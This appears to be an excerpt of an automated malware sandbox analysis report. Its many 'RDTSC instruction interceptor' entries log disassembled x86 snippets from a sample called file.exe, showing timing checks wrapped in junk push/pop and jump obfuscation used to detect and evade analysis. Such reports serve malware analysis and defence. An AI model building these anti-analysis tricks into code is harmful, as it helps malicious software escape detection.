Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA32A second address: 8DA36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F1364D027A8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1975h], ebx 0x00000027 push 0000001Eh 0x00000029 mov ch, 5Ah 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F1364D027AEh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA36B second address: 8DA375 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1364F5E24Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA69D second address: 8DA6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA6A2 second address: 8DA6C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1364F5E251h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA6C1 second address: 8DA6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA6C6 second address: 8DA6CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA6CD second address: 8DA77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D19D8h] 0x0000000e lea eax, dword ptr [ebp+1247F03Bh] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F1364D027A8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e sub edi, dword ptr [ebp+122D1C07h] 0x00000034 pushad 0x00000035 mov di, si 0x00000038 jmp 00007F1364D027B4h 0x0000003d popad 0x0000003e sub dword ptr [ebp+122D339Fh], edi 0x00000044 nop 0x00000045 push ecx 0x00000046 jmp 00007F1364D027B6h 0x0000004b pop ecx 0x0000004c push eax 0x0000004d jmp 00007F1364D027B0h 0x00000052 nop 0x00000053 or ecx, 43884737h 0x00000059 lea eax, dword ptr [ebp+1247EFF7h] 0x0000005f clc 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 pushad 0x00000065 popad 0x00000066 jmp 00007F1364D027B8h 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA77F second address: 8C123D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F1364F5E246h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ebx 0x00000010 jmp 00007F1364F5E254h 0x00000015 pop ebx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F1364F5E248h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 call dword ptr [ebp+122D197Ch] 0x00000037 jmp 00007F1364F5E24Ah 0x0000003c push edi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9167F2 second address: 91680A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91680A second address: 91680E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91699D second address: 9169A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9169A3 second address: 9169A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9169A9 second address: 9169BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F1364D027A6h 0x0000000d jbe 00007F1364D027A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916B2C second address: 916B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916B32 second address: 916B50 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364D027A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007F1364D027ACh 0x00000013 push ebx 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916C80 second address: 916C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916C88 second address: 916C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916C8E second address: 916C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916C94 second address: 916CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F1364D027AAh 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C1F2 second address: 91C234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F1364F5E255h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1364F5E258h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C234 second address: 91C23E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1364D027A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C23E second address: 91C261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1364F5E24Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F1364F5E24Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C261 second address: 91C278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1364D027B2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C278 second address: 91C283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F1364F5E246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C50F second address: 91C517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C805 second address: 91C819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Fh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91CE7F second address: 91CE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920438 second address: 92043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92043E second address: 920443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92435F second address: 924379 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1364F5E246h 0x00000008 jmp 00007F1364F5E24Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924379 second address: 92437F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92437F second address: 924399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007F1364F5E24Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9244E9 second address: 92450F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364D027B7h 0x00000009 pop eax 0x0000000a jne 00007F1364D027AAh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92492E second address: 924932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924BCE second address: 924BE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924BE9 second address: 924BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924BEE second address: 924BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92507D second address: 925083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925083 second address: 925088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925088 second address: 925099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1364F5E246h 0x00000009 je 00007F1364F5E246h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925218 second address: 925239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F1364D027B8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925239 second address: 92525D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push edx 0x00000007 jmp 00007F1364F5E255h 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F1364F5E246h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924061 second address: 924070 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007F1364D027A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92827F second address: 9282B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F1364F5E259h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1364F5E258h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AC98 second address: 92ACA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jg 00007F1364D027A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92ACA6 second address: 92ACB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F1364F5E246h 0x0000000d jnc 00007F1364F5E246h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92ACB9 second address: 92ACBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9304D8 second address: 9304F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E250h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9304F2 second address: 9304F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930685 second address: 93068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93068B second address: 930699 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9307F6 second address: 9307FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9307FC second address: 930800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930800 second address: 930815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1364F5E24Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93708A second address: 93708E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93708E second address: 93709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1364F5E248h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93709C second address: 9370A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C21 second address: 935C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C27 second address: 935C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C2B second address: 935C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Bh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9360A6 second address: 9360AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9360AB second address: 9360DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E24Dh 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F1364F5E280h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1364F5E255h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA169 second address: 8DA1CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jo 00007F1364D027B0h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 je 00007F1364D027A6h 0x00000017 popad 0x00000018 nop 0x00000019 sub cx, A276h 0x0000001e mov ebx, dword ptr [ebp+1247F036h] 0x00000024 jmp 00007F1364D027AFh 0x00000029 mov ecx, dword ptr [ebp+122D1C07h] 0x0000002f add eax, ebx 0x00000031 mov dword ptr [ebp+122D19AEh], edx 0x00000037 nop 0x00000038 jl 00007F1364D027B5h 0x0000003e jmp 00007F1364D027AFh 0x00000043 push eax 0x00000044 je 00007F1364D027C1h 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA1CB second address: 8DA1F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E253h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, dword ptr [ebp+122D370Dh] 0x00000010 mov edx, dword ptr [ebp+122D3041h] 0x00000016 push 00000004h 0x00000018 stc 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA1F9 second address: 8DA1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA1FD second address: 8DA203 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939546 second address: 93957A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1364D027B8h 0x00000008 jmp 00007F1364D027B3h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93957A second address: 9395AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F1364F5E25Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1364F5E24Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395AC second address: 9395B8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1364D027A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395B8 second address: 9395DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1364F5E254h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jo 00007F1364F5E24Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939868 second address: 93986E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93986E second address: 939872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939872 second address: 939878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939878 second address: 939888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F1364F5E246h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939888 second address: 939896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027AAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939C07 second address: 939C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1364F5E258h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422BF second address: 9422E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364D027B3h 0x00000008 jmp 00007F1364D027ADh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1364D027B1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422E9 second address: 9422ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940650 second address: 940654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940654 second address: 94066B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007F1364F5E264h 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F1364F5E246h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94066B second address: 94066F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940934 second address: 940960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E24Eh 0x00000009 jng 00007F1364F5E246h 0x0000000f popad 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 jmp 00007F1364F5E24Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940C16 second address: 940C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940F13 second address: 940F18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940F18 second address: 940F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940F1E second address: 940F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E254h 0x00000009 jmp 00007F1364F5E24Eh 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C70 second address: 941C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C76 second address: 941C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1364F5E255h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C95 second address: 941C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A122 second address: 94A126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A44B second address: 94A44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A44F second address: 94A459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1364F5E246h 0x0000000a rdtsc
